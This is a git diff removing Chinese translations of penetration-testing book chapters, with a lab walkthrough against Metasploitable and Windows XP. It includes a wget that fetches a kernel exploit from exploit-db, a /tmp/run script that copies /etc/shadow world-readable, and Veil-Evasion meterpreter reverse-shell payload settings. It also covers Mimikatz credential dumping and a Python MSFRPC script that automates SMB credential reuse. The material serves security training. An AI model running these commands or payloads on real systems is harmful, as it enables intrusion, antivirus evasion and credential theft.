dest="port") - parser.add_argument("-t","--timeout", type=float, default=1, action="store", help="The timeout value for service responses in seconds", dest="timeout_value") - parser.add_argument("-s","--sleep", type=float, default=0.0, action="store", help="The wait time between each request in seconds", dest="sleep_value") - parser.add_argument("-v", action="count", dest="verbose", default=1, help="Verbosity level, defaults to one, this outputs each command and result") - parser.add_argument("-q", action="store_const", dest="verbose", const=0, help="Sets the results to be quiet") - parser.add_argument('--version', action='version', version='%(prog)s 0.42b') -args = parser.parse_args() - # Set Constructors - username_file = args.username_file # Usernames to test - filename = args.filename # Filename for outputs - verbose = args.verbose # Verbosity level - ip = args.ip # IP Address to test - port = args.port # Port for the service to test - timeout_value = args.timeout_value # Timeout value for service connections - sleep_value = args.sleep_value # Sleep value between requests - dir = os.getcwd() # Get current working directory - username_list =[] - # Argument Validator - if len(sys.argv)==1: - parser.print_help() - sys.exit(1) - if not filename: - if os.name != "nt": - filename = dir + "/confirmed_username_list" - else: - filename = dir + "\\confirmed_username_list" - else: - if filename: - if "\\" or "/" in filename: - if verbose > 1: - print(" [*] Using filename: %s") % (filename) - else: - if os.name != "nt": - filename = dir + "/" + filename - else: - filename = dir + "\\" + filename - if verbose > 1: - print("[*] Using filename: %s") % (filename) -``` - -脚本的最后一个组件是调用特定函数来执行脚本。 - -``` -username_list = verify_smtp(verbose, username_file, ip, timeout_value, sleep_value, port) -if len(username_list) > 0: - write_username_file(username_list, filename, verbose) -``` - -该脚本具有默认的帮助功能,就像`username_generator.py`脚本一样,如下图所示: - -![Creating the SMTP VRFY script](graphics/B04315_04_06.jpg) - -此脚本的最终版本将产生如下输出: - -![Creating the SMTP VRFY script](graphics/B04315_04_07.jpg) - -执行以下命令后,脚本的默认睡眠值为`0.0`,默认超时值为`1`秒。该命令将向脚本传递一个用户名平面文件、目标的 IP 地址、SMTP 服务的端口和输出文件。如果通过 Internet 进行测试,则可能必须增加此值。 - -![Creating the SMTP VRFY script](graphics/B04315_04_08.jpg) - -毫无疑问,我们在系统上验证的一个用户是`msfadmin`帐户。如果这是一个真正的系统,您已经减少了需要测试的帐户数量,有效地缩小了凭证攻击等式的一半。现在,你需要做的就是找到一个你想要测试的服务。 - -### 提示 - -此脚本可从[下载 https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/smtp_vrfy.py](https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/smtp_vrfy.py) 。 - -# 总结 - -本章详细介绍了如何从外部源操作文件,以在较低级别连接到资源。最终的结果是能够识别潜在的用户帐户并验证它们。这些活动还强调了在`argparse`库中正确使用参数和选项,以及脚本的使用可以满足开发工具无法满足的需求。所有这些都是为了利用这些服务而构建的,我们将在下一章介绍这些服务。 \ No newline at end of file diff --git a/trans/py-pentest-dev/05.md b/trans/py-pentest-dev/05.md deleted file mode 100644 index 5b41cd0..0000000 --- a/trans/py-pentest-dev/05.md +++ /dev/null @@ -1,516 +0,0 @@ -# 第五章:利用 Python 开发服务 - -今天,渗透测试和利用服务的一个重大误解是,普遍存在可利用的**远程代码执行**(**RCE**漏洞。事实是,找到数百个只需要一个**互联网协议**(**IP**地址就可以插入工具的容易利用的服务的日子已经一去不复返了。您仍然会发现可以通过溢出堆栈或堆来利用的漏洞,它们只是显著减少或更复杂。我们将在[第 8 章](08.html "Chapter 8. Exploit Development with Python, Metasploit, and Immunity")中解释为什么在今天的软件中更难利用这些漏洞,*使用 Python、Metasploit 和免疫进行漏洞开发*,不用担心,我们会说到这一点。 - -因此,如果您希望每次都进入网络并利用 Microsoft 安全公告 MS08-067、MS03-024 或 MS06-40 获得立足点,那么您就大错特错了。不要担心,它们仍然存在,但不是在每个主机上都能找到它,而是在网络中可能有一个系统与它在一起。更糟糕的是,对于我们这些模拟的恶意参与者来说,它甚至可能无法让我们进入一个盒子,让我们能够继续参与。通常,它是一个遗留系统或供应商产品,甚至没有使用不同的凭据集连接到域。现在,这并不是说,情况总是这样。 - -将发现的 RCE 漏洞数量完全取决于组织的安全成熟度。这与规模或预算无关,而是与实施安全计划的战略有关。安全策略薄弱的组织和新建立的项目将有更多类似的漏洞,而具有更好策略的组织将有更少的漏洞。许多新的渗透测试人员忽视的另一个因素是人才;公司可能雇佣了防御型员工,这会显著影响他们在环境中的运营能力。 - -即使一个组织的安全策略很弱,但如果它雇佣了高技能的工程师和管理员,它也可能会有相当强硬的战术安全态势。在战术层面上,真正聪明的技术人员意味着可以实施强有力的控制,但如果没有总体安全战略,设备可能会丢失,相关强有力的技术态势中的差距可能会被发现。另外一个风险来自于那些熟练的成员离开组织,或者更糟的是,如果他们成为流氓。 - -无论哪种方式,如果没有既定的流程和程序,任何强有力的安全控制现在都可能被视为在这一点上受到损害。此外,可能不可能全面和有效地实施控制措施。作为渗透测试人员,这对您很重要的原因是,您可以了解组织信息安全计划的兴衰变化以及常见原因。管理层将期待您对其中一些问题的答案,您看到的指标将帮助您诊断问题并确定根本原因。 - -# 了解服务开发的新时代 - -在前面的章节中,我们准备向您展示一个新时代剥削的模拟例子。这意味着,我们正在利用错误配置、默认设置、错误做法和缺乏安全意识。与其在开发的代码中发现控制差距,不如在环境中的实现中包含人员培训。进入或通过网络的具体方式取决于网络,攻击向量会发生变化,而不是记忆特定向量,而是专注于建立思维定势。 - -今天的利用意味着识别已经存在的访问,并窃取该访问的一个组件,破坏具有该访问级别的系统,捕获这些系统的详细信息,并横向移动,直到识别关键数据或新的访问级别。一旦您确定了对系统的访问权限,您将尝试查找允许您移动和访问其他系统的详细信息。这意味着配置文件中包含用户名和密码、存储的用户名和密码或装载的共享。这些组件中的每一个都将为您提供访问其他主机的信息。以这种方式攻击系统的好处是,它比利用 RCE 和上传有效负载要安静得多;您可以在必要协议的范围内移动,并且可以更好地模拟真正的恶意参与者。 - -为了建立一种一致的语言,您可以从一个主机移动到另一个主机,在相同的权限级别上,这称为横向移动。当您发现更高级别的权限时,例如**域管理员(DA)**,这被视为垂直移动或权限升级。当您使用对主机或网络区域的访问来访问以前由于访问控制或网络隔离而看不到的系统时,这称为旋转。现在您已经理解了概念和术语,让我们弹出一些框。 - -### 提示 - -为了模拟这个例子,我们将使用 WindowsXP 模式和 Metasploitable 的组合,两者都是免费使用的。已经提供了有关设置 Metasploitable 的详细信息。Windows XP 模式的详细信息可在以下两个**统一资源定位器**(**URL**)[中找到 https://zeltser.com/windows-xp-mode-for-vmware-virtualization/](https://zeltser.com/windows-xp-mode-for-vmware-virtualization/) 和[https://zeltser.com/how-to-get-a-windows-xp-mode-virtual-machine-on-windows/](https://zeltser.com/how-to-get-a-windows-xp-mode-virtual-machine-on-windows/) 。记住执行 Windows 机器可能具有的所有这些漏洞,以启用其管理共享。在实际领域中,这很常见,因为它们通常用于管理远程系统。 - -# 了解漏洞的链接 - -在[第 4 章](04.html "Chapter 4. Executing Credential Attacks with Python")中*使用 Python*执行凭证攻击,我们展示了如何识别系统或环境中的合法帐户。Metasploitable 有很好的文档记录,但访问系统的概念与实际情况完全相同。此外,从可用性和法律的角度来看,作为一名测试人员,使用这些可利用的盒子为您提供了一个极好的培训环境,风险很小。在上一章中,我们验证了目标系统上存在帐户`msfadmin`,并且在元表中,默认情况下,该帐户与用户名具有相同的密码。 - -就像真实环境一样,我们通过网站和配置渠道进行研究,以确定默认帐户和设置是什么,然后使用这些帐户和设置智能地利用这些框。为了验证这些弱点,我们将执行密码喷射攻击。此攻击对多个用户名使用一个密码,从而防止帐户锁定。它取决于环境中的密码重用原则,或者您所在地区的用户使用的通用密码。 - -### 注 - -你会发现在美国最常用的密码是 Password1、Password123、季节和年份(如 2015 年夏季),以及对你正在测试的公司名称或用户名的一些操作。直到今天,我在每一次约会中都发现了一些弱密码或默认密码的形式。如果您观察或阅读到任何重大违规行为,则弱密码、默认密码或已知密码都是其中的一个组成部分。另外,请注意,所有这些密码都将满足 Windows Active Directory 密码复杂性要求,如此处的[所示 https://technet.microsoft.com/en-us/library/hh994562%28v=ws.10%29.aspx](https://technet.microsoft.com/en-us/library/hh994562%28v=ws.10%29.aspx) 。 - -## 检查弱密码、默认密码或已知密码 - -使用与用户名相同的密码,使用已知用户名`msfadmin`对 Metasploitable 执行密码喷洒。我们扫描目标主机,寻找可以测试凭据的开放服务。 - -![Checking for weak, default, or known passwords](graphics/B04315_05_01.jpg) - -然后我们可以注意到,**Secure Shell**(**SSH**服务是开放的,因此这对 target 来说是一个很好的服务。此服务的折衷方案将提供对主机的交互式访问。例如,我们可以针对 SSH 服务启动 Hydra 来测试目标框上的这个特定弱点。如下图所示,我们已经验证了提供系统访问权限的用户名和密码组合。 - -![Checking for weak, default, or known passwords](graphics/B04315_05_02.jpg) - -现在,许多新的评估员会使用 Metasploit 来执行此攻击序列,如[第 3 章](03.html "Chapter 3. Identifying Targets with Nmap, Scapy, and Python")、*物理引擎集成*所示。问题是,您不能与服务交互,而是必须通过命令 shell 而不是终端访问进行操作。为了绕过这个限制,我们将使用 SSH 客户端。 - -### 注 - -命令外壳不允许使用交互命令,而终端允许使用交互命令。通过 SSH 客户端利用 SSH 服务提供终端访问,而 Metasploit 模块`ssh_login`提供命令外壳访问。因此,如以下示例中所示,在可能的情况下优选终端。 - -## 获取对系统的 root 访问权限 - -现在我们知道了访问此系统的用户名和密码组合,我们可以尝试访问主机并识别系统上的其他详细信息。具体地说,我们希望识别其他用户名和密码,这些用户名和密码可以让我们访问其他系统。为此,我们需要查看是否可以访问目标主机上的`/etc/passwd`和`/etc/shadow`文件。这两个文件的组合将提供主机上的用户名和相关密码。SSH 进入系统,用户名和密码:`msfadmin`。 - -![Gaining root access to the system](graphics/B04315_05_03.jpg) - -现在,我们验证我们可以访问`/etc/passwd`文件,然后使用**安全副本**(**SCP**将该文件复制到我们的 Kali 主机上。以下成功副本表明我们有权访问该文件: - -![Gaining root access to the system](graphics/B04315_05_04.jpg) - -然后,我们尝试使用当前访问权限访问`/etc/shadow`,并确定这是不可能的。 - -![Gaining root access to the system](graphics/B04315_05_05.jpg) - -这意味着我们需要提升本地特权以获得对文件的访问权;在 Linux 中,这可以通过以下四种主要方式之一实现。最简单的方法是在主机上查找存储的用户名和密码,这在 Linux 或 UNIX 服务器上非常常见。第二种方式,不要求将漏洞带入系统,即通过操纵文件、输入和输出,这些文件、输入和输出不正确地使用了粘性位,**设置用户标识符**(**SUID**),以及**全局唯一标识符**(**GUID**。第三种方法是利用易受攻击的内核版本。 - -第四种方法是最容易被忽略的访问这些文件的方式,即通过`misconfigured sudo`访问。您所要做的就是执行`sudo su -`,它将会话实例化为 root。以下内容显示,这只是获取系统根访问权限的一个示例: - -![Gaining root access to the system](graphics/B04315_05_06.jpg) - -### 提示 - -从技术上讲,还有第五种方法,但这意味着利用可能直接提供根访问的不同服务。这在 Metasploitable 中可用,但在实际环境中不太常见。 - -现在请记住,在这一点上,我们可以很容易地抓取这两个文件并将它们复制下来。为了提供一个更现实的示例,我们将重点介绍针对内核的利用研究验证和执行。因此,我们需要在系统上验证内核的版本,并使用命令`uname -a`查看它是否易受攻击。 - -![Gaining root access to the system](graphics/B04315_05_07.jpg) - -系统正在运行内核版本 2.6.24,该版本已过时,并且已知易受攻击。这可以在许多地方进行研究,包括最流行的[之一 http://www.cvedetails.com/](http://www.cvedetails.com/) ,它不仅引用漏洞,还指向可以发现漏洞的位置。 - -### 提示 - -切勿从 Internet 下载漏洞并在系统上直接利用它。相反,应始终在实验室环境中,在没有连接到任何其他系统或设备的隔离系统上进行测试。测试时,请确保运行网络监听和其他监控工具,以验证哪些活动可能在后台运行。 - -从**Gotogle**页面,您可以直接搜索该漏洞。 - -![Gaining root access to the system](graphics/B04315_05_08.jpg) - -结果是该内核存在大量漏洞。我们正在寻找一个特定的漏洞,该漏洞允许我们使用已知的漏洞执行权限提升。因此,我们导航到在**漏洞(324)**下发现的逐项漏洞,它表示在编写本模块时针对该特定内核版本发现的漏洞数量。 - -![Gaining root access to the system](graphics/B04315_05_09.jpg) - -我们通过**漏洞数量下降**来组织漏洞,以发现可利用的漏洞。 - -![Gaining root access to the system](graphics/B04315_05_10.jpg) - -然后,我们查找每个在“漏洞”列中有一个红色数字的漏洞和在**漏洞类型**列中有一个**+Priv**的漏洞,以识别有用的漏洞。这表示分发给公众的可用漏洞数量,以及对漏洞的实际利用会返回什么,在这种情况下是升级权限。 - -![Gaining root access to the system](graphics/B04315_05_11.jpg) - -CVE-2010-1146 是一个非常好的候选者,如下例所示。现在可以在[找到公开的漏洞 http://www.exploit-db.com/exploits/12130](http://www.exploit-db.com/exploits/12130) [引用的](http://www.cvedetails.com/)http://www.cvedetails.com/ 。 - -![Gaining root access to the system](graphics/B04315_05_12.jpg) - -现在,在下载该漏洞并运行它之前,您应该检查系统是否容易受到该漏洞的攻击。基本要求是安装有**扩展属性****xattr**的**Reiser 文件系统**(**ReiserFS**)。因此,我们需要通过使用内置命令的组合来检查 Metasploitable 实例上是否存在 ReiserFS xattr。首先,我们需要用`fdisk -l`标识分区,然后用`df -T`标识文件系统类型,然后我们可以在必要时查看每个 ReiserFS 分区。来自标识符为 83 的`fdisk -l`的任何输出都可能是 ReiserFS 装载的候选。 - -![Gaining root access to the system](graphics/B04315_05_13.jpg) - -正如您在设备上方看到的一样,`/dev/sda1`的标识符为 83,因此该挂载可能是 ReiserFS;可通过`df -T`进行验证。命令运行后,我们看到该设备是一个 EXT3 文件系统,这意味着它不是 ReiserFS,因此我们不需要检查文件系统是否启用了扩展属性。 - -### 提示 - -您还可以检查`/etc/fstab`以查看是否为 xattr 和 reiserfs 正确定义了分区。请记住,这不会检测到系统上可能存在的手动装载,因此您可能会错过攻击向量。请记住,`/etc/fstab`中可能还包含明文凭据,或者对包含凭据的装载文件的引用。所以,它仍然是一个检查项目的好地方,可以让你向前迈进。 - -![Gaining root access to the system](graphics/B04315_05_14.jpg) - -因此,内核理论上易受此漏洞攻击,但此主机的当前配置不易受特定漏洞攻击的影响。现在我们知道,即使在执行之前,这种特定的特权利用也不会起作用。也就是说,我们需要回到[http://www.cvedetails.com/](http://www.cvedetails.com/) 并尝试识别其他可行的漏洞。CVE-2009-1185 存在一个潜在的漏洞,该漏洞利用 milw0rm 进行攻击。 - -![Gaining root access to the system](graphics/B04315_05_15.jpg) - -### 注 - -任何引用用于的漏洞攻击都指向[http://www.milw0rm.com](http://www.milw0rm.com) 是现在位于[http://www.exploit-db.com/](http://www.exploit-db.com/) 。当进攻性安全小组接管`milw0rm`数据库时,该数据库被移动到`expoloit-db`。因此,只要调整相关的 URL,您就会发现相同的细节。 - -现在,您可以从网站下载漏洞并将其传输到系统,或者我们可以通过命令行进行欺骗并完成它。只需运行以下命令: - -``` -wget http://www.exploit-db.com/download/8572 -O escalate.c - -``` - -这将下载该漏洞并将其保存为一个`code`,以便在本地主机上编译和执行。 - -![Gaining root access to the system](graphics/B04315_05_16.jpg) - -我们需要找到`gcc`编译器,并验证它是否在我们的路径中,以便于执行,然后在目标系统上编译代码。这可以按如下方式完成,即`gcc`,然后可以使用`gcc`使用以下命令`gcc escalate.c -o escalate`将代码编译成漏洞攻击。这将输出名为`escalate`的新可执行二进制文件。 - -### 提示 - -在实际系统上执行此操作时,不要命名文件`exploit`、`escalate`、`shell`、`pwned`或任何类似的名称。这些是许多安全工具扫描的常见名称,因此它们可以在执行之前进行标记。就本例而言,这并不重要。 - -现在,编译的漏洞被称为`escalate`,一旦我们确定了一些其他信息组件,就可以运行该漏洞。此漏洞利用 udevd netlink 套接字进程,因此我们需要识别该进程并将漏洞传递给**进程标识符**(**PID**)。这可以在引用服务`/proc/net/netlink`的文件中找到。您可以通过执行以下命令`cat /proc/net/netlink`来识别细节: - -![Gaining root access to the system](graphics/B04315_05_17.jpg) - -### 注 - -请记住,您的 PID 可能会有所不同。 - -此漏洞,特别是执行一个脚本,其中包含写入文件`/tmp/run`的命令。因此,让我们将`/etc/shadow`文件复制到`/tmp`,因为我们首先尝试访问该数据。我们还需要验证复制的文件是否与原始文件相同;我们可以通过获取每个文件的**消息摘要 5**(**MD5**并将结果放入`/tmp`中另一个名为`hashes`的文件中来轻松实现这一点。在`/tmp`中创建一个名为 run 的文件,并添加以下内容: - -``` -#!/bin/bash -cp /etc/shadow /tmp/shadow -chmod 777 /tmp/shadow -md5sum /tmp/shadow > /tmp/hashes -md5sum /etc/shadow >> /tmp/hashes - -``` - -然后,使用您试图利用的特定进程的参数运行利用漏洞攻击。下图显示了`gcc`编译器的标识、漏洞的编译、执行和结果证明: - -![Gaining root access to the system](graphics/B04315_05_18.jpg) - -### 注 - -可以直接卸载文件,而不移动并复制它,但通常情况下,您不会将系统的用户名和密码写入已被利用的框中的文件,因为您永远不知道该框中已经有谁。此外,本示例的设计思想是,系统上可能不存在像`netcat`这样的简单端口重定向工具。 - -然后通过比较两个文件的 MD5 哈希并将其写入`/tmp/hashes`文件,验证复制文件的内容是否与`/etc/shadow`文件相同。然后可以将新复制的文件从系统复制到攻击框中。 - -### 提示 - -在真实环境中要始终非常小心,当您复制`passwd`或卷影文件时,可能会破坏目标系统。因此,请确保不要删除、重命名或移动原件。如果在目标系统的其他位置复制,请将其删除,以免帮助真正的攻击者。 - -另外,请记住,内核漏洞利用有三种输出之一,它们可能在每次执行时都不起作用(因此请重试),它们可能会使特定主机崩溃,或者提供所需的结果。如果您正在执行这些类型的攻击,请在执行之前始终与您的客户端协作,以确保它不是关键系统。简单的重启通常可以修复崩溃,但在工作站上执行这些类型的攻击总是比在服务器上执行更安全。 - -![Gaining root access to the system](graphics/B04315_05_19.jpg) - -## 理解 Linux 哈希的破解 - -现在,创建一个目录来处理 Kali 盒上的所有破解数据,并将阴影和`passwd`文件移到上面。 - -![Understanding the cracking of Linux hashes](graphics/B04315_05_20.jpg) - -然后,使用 John 将文件与`unshadow`命令组合,然后开始默认的破解尝试。 - -![Understanding the cracking of Linux hashes](graphics/B04315_05_21.jpg) - -## 账户凭证同步测试 - -根据这些结果,我们可以确定这些凭证中是否有任何凭证在网络中被重用。我们知道目标网络中主要有 Windows 主机,但我们需要确定哪些主机的端口`445`处于打开状态。然后,当运行以下命令时,我们可以尝试并确定哪些帐户可以授予我们访问权限: - -``` -nmap -sS -vvv -p445 192.168.195.0/24 -oG output - -``` - -然后,使用以下命令解析打开端口的结果,该命令将提供启用了**服务器消息块(SMB)**的目标主机文件。 - -``` -grep 445/open output| cut -d" " -f2 >> smb_hosts - -``` - -密码可以直接从 John 提取,并作为密码文件写入,可用于后续服务攻击。 - -``` -john --show unshadowed |cut -d: -f2|grep -v " " > passwords - -``` - -### 提示 - -首次运行此类攻击时,请始终在单个主机上进行测试。在本例中,我们使用 sys 帐户,但更常见的是使用 root 帐户或类似的管理帐户来测试环境中的密码重用(同步)。 - -以下使用`auxiliary/scanner/smb/smb_enumusers_domain`的攻击将检查两件事。它将确定此帐户可以访问哪些系统,以及当前登录到该系统的相关用户。在本例的第二部分中,我们将重点介绍如何识别实际具有特权且属于域的帐户。 - -`smb_enumusers_domain`模块有优点也有缺点。缺点是不能在其中加载多个用户名和密码。该功能保留给`smb_login`模块。`smb_login`的问题是它非常嘈杂,因为许多特征码检测工具都使用这种登录测试方法。第三个模块`smb_enumusers`,可以使用,但它只提供与 locale 用户相关的详细信息,因为它基于**安全账户管理器**(**SAM**文件内容识别用户。因此,如果用户拥有域帐户并已登录该框,`smb_enumusers`模块将不会识别他们。 - -因此,在确定要横向移动的目标时,要了解每个模块及其局限性。我们将重点介绍如何配置`smb_enumusers_domain`模块并执行它。这将显示访问易受攻击主机,然后验证 DA 帐户成员身份的示例。然后,该信息可用于识别 DA 的位置,以便使用 Mimikatz 提取凭据。 - -### 注 - -在本例中,我们还将使用一个使用 Veil 的自定义漏洞,试图绕过驻留的**主机入侵防御系统**(**HIPS**)。有关面纱的更多信息,请访问[https://github.com/Veil-Framework/Veil-Evasion.git](https://github.com/Veil-Framework/Veil-Evasion.git) 。 - -因此,我们将模块配置为使用密码`batman`,并针对系统上的本地管理员帐户。这可以更改,但通常使用默认值。由于是本地管理员,所以域设置为`WORKGROUP`。下图显示了模块的配置: - -![Testing for the synchronization of account credentials](graphics/B04315_05_22.jpg) - -### 注 - -在运行这些命令之前,请确保使用 spool 将结果输出到日志文件,以便您可以返回并查看结果。 - -正如您在下图中所看到的,该账户提供了登录系统的详细信息。这意味着有与返回的帐户名相关的已登录用户,并且本地管理员帐户将在该系统上工作。这意味着通过**通过散列攻击**(**PtH**,该系统已经成熟,可以进行妥协。 - -![Testing for the synchronization of account credentials](graphics/B04315_05_23.jpg) - -### 注 - -`psexec`模块允许您通过提取的**局域网管理器(LM)**:**新技术 LM(NTLM)**散列和用户名组合,或者仅通过用户名密码对进行访问。 - -首先,我们设置了一个自定义的 multi/handler 来捕获我们在下面的示例中由 Veil 生成的自定义漏洞。请记住,我使用`443`作为本地端口,因为它绕过了大多数 HIPS,并且本地主机将根据您的主机而改变。 - -![Testing for the synchronization of account credentials](graphics/B04315_05_24.jpg) - -现在,我们需要使用 Veil 生成自定义有效载荷,以便与`psexec`模块一起使用。您可以导航到`Veil-Evasion`安装目录并使用`python Veil-Evasion.py`运行它。Veil 有大量有效载荷,可以通过各种模糊或保护机制生成,以查看您想要使用的特定有效载荷,并执行`list`命令。您可以通过键入有效负载的编号或名称来选择有效负载。例如,运行以下命令以生成不使用 shell 代码的 C Sharp stager,请记住,这需要在目标框上使用特定版本的.NET。 - -``` -use cs/meterpreter/rev_tcp -set LPORT 443 -set LHOST 192.168.195.160 -set use_arya Y -generate - -``` - -### 注 - -一个典型的有效载荷有两个组成部分,阶段器和阶段。stager 在攻击者和受害者之间建立网络连接。通常使用本机系统语言的有效负载可能会更为缓慢。第二部分是 stage,它是 stager 下载的组件。这些可以包括你的计量器之类的东西。如果两个项目合并,则称为单个项目;想想看,当你创建恶意的**通用串行总线**(**USB**驱动器时,这些驱动器通常是单驱动器。 - -输出将是一个可执行文件,它将生成一个加密的反向**超文本传输协议安全(HTTPS**MeterMeter)。 - -![Testing for the synchronization of account credentials](graphics/B04315_05_25.jpg) - -可使用脚本`checkvt`测试有效载荷,该脚本可安全验证大多数 HIPS 解决方案是否会拾取有效载荷。它这样做时没有将其上传到 Virus Total,反过来也不会将有效负载添加到数据库中,而许多 HIPS 提供商都从数据库中获取有效负载。相反,它将有效负载的哈希值与数据库中已有的哈希值进行比较。 - -![Testing for the synchronization of account credentials](graphics/B04315_05_26.jpg) - -现在,我们可以设置模块`psexec`以引用自定义负载执行。 - -![Testing for the synchronization of account credentials](graphics/B04315_05_27.jpg) - -更新`psexec`模块,通过设置`EXE::Custom`使用`Veil-Evasion`生成的自定义有效载荷,并通过设置`DisablePayloadHandler true`禁用自动有效载荷处理程序,如下图: - -![Testing for the synchronization of account credentials](graphics/B04315_05_28.jpg) - -利用目标框,然后尝试识别域中的 DAs。这可以通过两种方式之一完成,或者使用`post/windows/gather/enum_domain_group_users`模块,或者通过 shell access 的以下命令: - -``` -net group "Domain Admins" - -``` - -然后我们可以`Grep`通过先前运行的模块的假脱机输出文件来定位可能已登录这些 DAs 的相关系统。当获得对其中一个系统的访问权限时,内存中可能会有 DA 令牌或凭据,这些令牌或凭据可以提取和重用。以下命令是如何分析日志文件中这些类型条目的示例: - -``` -grep - -``` - -如您所见,这个非常简单的利用路径允许您识别 DAs 所在的位置。一旦您进入系统,您所要做的就是`load mimikatz`并通常使用`wdigest`命令从已建立的 MeterMeter 会话中提取凭证。当然,这意味着系统必须比 Windows 2000 更新,并且在内存中具有活动凭据。如果没有,这将需要更多的努力和研究才能取得进展。为了强调这一点,我们使用已建立的会话来提取带有`Mimikatz`的凭证,如下面的示例所示。凭据在内存中,由于目标框是 Windows XP 计算机,因此我们没有冲突,也不需要进行其他研究。 - -![Testing for the synchronization of account credentials](graphics/B04315_05_29.jpg) - -除了从系统中提取活动 DA 列表收集的情报外,我们现在还可以使用另一组已确认的凭据。清洗和重复这种攻击方法可以让您在网络中快速横向移动,直到确定可行的目标。 - -# 用 Python 实现开发序列的自动化 - -这个开发序列相对简单,但我们可以通过**元 sploit 远程过程调用**(**MSFRPC**来自动化其中的部分。此脚本将使用`nmap`库扫描`445`的活动端口,然后使用通过参数传递给脚本的用户名和密码生成要测试的目标列表。该脚本将使用相同的`smb_enumusers_domain`模块来识别重复使用凭据的框以及其他可行的用户登录到这些框中。首先,我们需要为 Python 安装`SpiderLabs msfrpc`库。此库可在[找到 https://github.com/SpiderLabs/msfrpc.git](https://github.com/SpiderLabs/msfrpc.git) 。 - -### 注 - -该模块的 github 存储库位于[https://github.com/funkandwagnalls/pythonpentest](https://github.com/funkandwagnalls/pythonpentest) 或[https://github.com/PacktPublishing/Python-Penetration-Testing-for-Developers](https://github.com/PacktPublishing/Python-Penetration-Testing-for-Developers) 其中有一个安装文件,可以运行该文件来安装所有必要的软件包、库和资源。 - -我们正在创建的脚本使用`netifaces`库来标识哪些接口 IP 地址属于您的主机。然后扫描 IP 地址、范围上的 SMB 端口`445`或**类域间路由**(**CIDR**地址。它消除属于您接口的所有 IP 地址,然后使用 Metasploit 模块`auxiliary/scanner/smb/smb_enumusers_domain`测试凭据。同时,它验证哪些用户登录到系统。除了实时响应之外,此脚本的输出还有两个文件,一个是包含所有响应的日志文件,另一个是包含所有具有 SMB 服务的主机的 IP 地址的文件。 - -### 提示 - -此 Metasploit 模块利用了 RPCDCE,它不在端口`445`上运行,但我们正在验证该服务是否可用于后续利用。 - -![Automating the exploit train with Python](graphics/B04315_05_30.jpg) - -如果攻击者发现要测试的其他凭据集,则可以将此文件反馈到脚本中,如下所示: - -![Automating the exploit train with Python](graphics/B04315_05_31.jpg) - -最后,可以像 Metasploit 模块一样直接向脚本传递散列,如下所示: - -![Automating the exploit train with Python](graphics/B04315_05_32.jpg) - -### 注 - -每次运行脚本时,输出都会略有不同,具体取决于您为执行命令而获取的控制台标识符。唯一真正的区别是 Metasploit 控制台启动时典型的附加横幅项。 - -现在有两件事需要说明,是的,你可以生成一个资源文件,但是当你开始进入拥有数百万 IP 地址的组织时,这就变得难以管理了。此外,MSFRPC 也可以将资源文件直接输入,但这会显著降低进程的速度。如果您想进行比较,请重写此脚本,以执行与您之前编写的`ssh_login.py`脚本相同的测试,但直接与 MSFRPC 集成。 - -### 注 - -未来最重要的一点是[中的许多未来脚本 https://github.com/PacktPublishing/Python-Penetration-Testing-for-Developers](https://github.com/PacktPublishing/Python-Penetration-Testing-for-Developers) 将非常大,需要额外的错误检查。因为你的技能是从头开始建立起来的,所以已经陈述的概念不会重复。相反,可以从 GitHub 下载整个脚本,以确定脚本的细微差别。这个脚本确实使用了之前在`ssh_login.py`脚本中使用的`netifaces`函数,但为了简洁起见,我们不打算在本章中复制它。您可以在[下载完整的脚本 https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/msfrpc_smb.py](https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/msfrpc_smb.py) 。 - -像所有需要建立的脚本库一样,其中大多数您已经熟悉,最新的一个与`SpiderLabs`的 MSFRPC 相关。此脚本所需的库如下所示: - -``` -import os, argparse, sys, time -try: - import msfrpc -except: - sys.exit("[!] Install the msfrpc library that can be found - here: https://github.com/SpiderLabs/msfrpc.git") -try: - import nmap -except: - sys.exit("[!] Install the nmap library: pip install python-nmap") -try: - import netifaces -except: - sys.exit("[!] Install the netifaces - library: pip install netifaces") -``` - -然后,我们构建一个模块,以确定相关目标,这些目标将使辅助模块针对它运行。首先,我们设置构造函数和传递的参数。请注意,对于这个脚本,我们有两个要测试的服务名称,`microsoft-ds`和`netbios-ssn`,因为根据`nmap`结果,其中任何一个都可以表示端口 445。 - -``` -def target_identifier(verbose, dir, user, passwd, ips, port_num, ifaces, ipfile): - hostlist = [] - pre_pend = "smb" - service_name = "microsoft-ds" - service_name2 = "netbios-ssn" - protocol = "tcp" - port_state = "open" - bufsize = 0 - hosts_output = "%s/%s_hosts" % (dir, pre_pend) -``` - -之后,我们将 nmap 扫描仪配置为通过文件或命令行扫描详细信息。注意,`hostlist`是文件加载的所有地址的字符串,它们之间用空格分隔。打开`ipfile`并读取,然后将所有新行加载到字符串中时替换为空格。这是 nmap 库的特定`hosts`参数的要求。 - -``` - if ipfile != None: - if verbose > 0: -print("[*] Scanning for hosts from file %s") % (ipfile) - with open(ipfile) as f: - hostlist = f.read().replace('\n',' ') - scanner.scan(hosts=hostlist, ports=port_num) - else: - if verbose > 0: - print("[*] Scanning for host\(s\) %s") % (ips) - scanner.scan(ips, port_num) - open(hosts_output, 'w').close() - hostlist=[] - if scanner.all_hosts(): - e = open(hosts_output, 'a', bufsize) - else: - sys.exit("[!] No viable targets were found!") -``` - -攻击系统上所有接口的 IP 地址都将从测试池中删除。 - -``` - for host in scanner.all_hosts(): - for k,v in ifaces.iteritems(): - if v['addr'] == host: - print("[-] Removing %s from target list since it - belongs to your interface!") % (host) - host = None -``` - -最后,详细信息将写入相关的输出文件和 Python 列表,然后返回到原始调用源。 - -``` - if host != None: - e = open(hosts_output, 'a', bufsize) - if service_name or service_name2 in - scanner[host][protocol][int(port_num)]['name']: - if port_state in - scanner[host][protocol][int(port_num)]['state']: - if verbose > 0: - print("[+] Adding host %s to %s since the service - is active on %s") % (host, hosts_output, port_num) - hostdata=host + "\n" - e.write(hostdata) - hostlist.append(host) - else: - if verbose > 0: - print("[-] Host %s is not being added to %s since the - service is not active on %s") % - (host, hosts_output, port_num) - if not scanner.all_hosts(): - e.closed - if hosts_output: - return hosts_output, hostlist -``` - -下一个函数创建将要执行的实际命令;将为扫描返回的每个主机调用此函数作为潜在目标。 - -``` -def build_command(verbose, user, passwd, dom, port, ip): - module = "auxiliary/scanner/smb/smb_enumusers_domain" - command = '''use ''' + module + ''' -set RHOSTS ''' + ip + ''' -set SMBUser ''' + user + ''' -set SMBPass ''' + passwd + 